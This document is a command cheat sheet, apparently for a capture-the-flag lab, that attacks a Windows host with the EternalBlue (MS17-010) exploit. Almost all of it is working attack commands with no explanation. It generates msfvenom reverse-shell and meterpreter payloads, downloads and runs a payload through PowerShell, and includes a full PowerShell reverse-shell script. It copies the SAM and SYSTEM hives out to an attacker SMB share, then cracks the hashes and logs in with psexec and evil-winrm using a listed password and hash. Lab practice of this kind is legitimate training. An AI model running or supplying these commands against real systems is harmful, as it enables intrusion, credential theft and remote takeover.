# Port scan
nmap -sV -sC --script vuln -Pn -oN nmap.txt 10.201.77.101 --open
# SMB enumeration
smbclient -L //10.201.77.101 -N
enum4linux -a 10.201.77.101
# Clone the repository
git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
cd AutoBlue-MS17-010
# Check if target is vulnerable
python eternal_checker.py 10.201.77.101
# Generate shellcode (replace LHOST with your IP)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.136.212 LPORT=4444 -f raw -o sc_x64.bin
# Alternative: Generate meterpreter payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.8.136.212 LPORT=4444 -f raw -o sc_x64_met.bin
# Start listener
nc -lvnp 4444
# Execute exploit
python eternalblue_exploit7.py 10.201.77.101 sc_x64.bin
# Clone different EternalBlue implementation
git clone https://github.com/worawit/MS17-010.git
cd MS17-010
# Check vulnerability
python checker.py 10.201.77.101
# Generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.136.212 LPORT=4444 -f raw > shell.bin
# Start listener
nc -lvnp 4444
# Execute exploit (for Windows 7 x64)
python eternalblue_exploit7.py 10.201.77.101 shell.bin
# Generate meterpreter payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.8.136.212 LPORT=4445 -f exe -o meterpreter.exe
# Start HTTP server to serve payload
python3 -m http.server 8080
# Start meterpreter handler
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.8.136.212; set lport 4445; exploit"
In your shell:
# Download payload (from your shell)
powershell -c "Invoke-WebRequest -Uri http://10.8.136.212:8080/meterpreter.exe -OutFile C:\temp\met.exe"
# Execute payload
C:\temp\met.exe
# Create PowerShell reverse shell script
cat > shell.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TCPClient("10.8.136.212",4445);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
EOF
# Start listener
nc -lvnp 4445
# Execute in your shell
powershell -ExecutionPolicy Bypass -File shell.ps1
# System info
systeminfo
whoami
whoami /priv
net users
net localgroup administrators
# Network information
ipconfig /all
netstat -an
arp -a
# Navigate to system directory
cd C:\Windows\System32\config
# Copy SAM and SYSTEM files
copy SAM C:\temp\SAM
copy SYSTEM C:\temp\SYSTEM
copy SECURITY C:\temp\SECURITY
# On Kali - start SMB server
impacket-smbserver share /tmp -smb2support
# On Windows - copy files
copy C:\temp\SAM \\10.8.136.212\share\SAM
copy C:\temp\SYSTEM \\10.8.136.212\share\SYSTEM
# Extract hashes using impacket
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# Crack with John
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Search for flags
dir /s /b C:\*flag*.txt
# Collect flags
type C:\flag1.txt
type C:\Windows\System32\config\flag2.txt
type C:\Users\Jon\Documents\flag3.txt
# After getting credentials
impacket-psexec jon:alqfna22@10.201.77.101
# Or with hash
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d jon@10.201.77.101
# Check if WinRM is available
nmap -p 5985,5986 10.201.77.101
# Connect using evil-winrm
evil-winrm -i 10.201.77.101 -u jon -p alqfna22
# Quick exploitation workflow
git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
cd AutoBlue-MS17-010
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f raw -o sc_x64.bin
nc -lvnp 4444
python eternalblue_exploit7.py 10.201.77.101 sc_x64.bin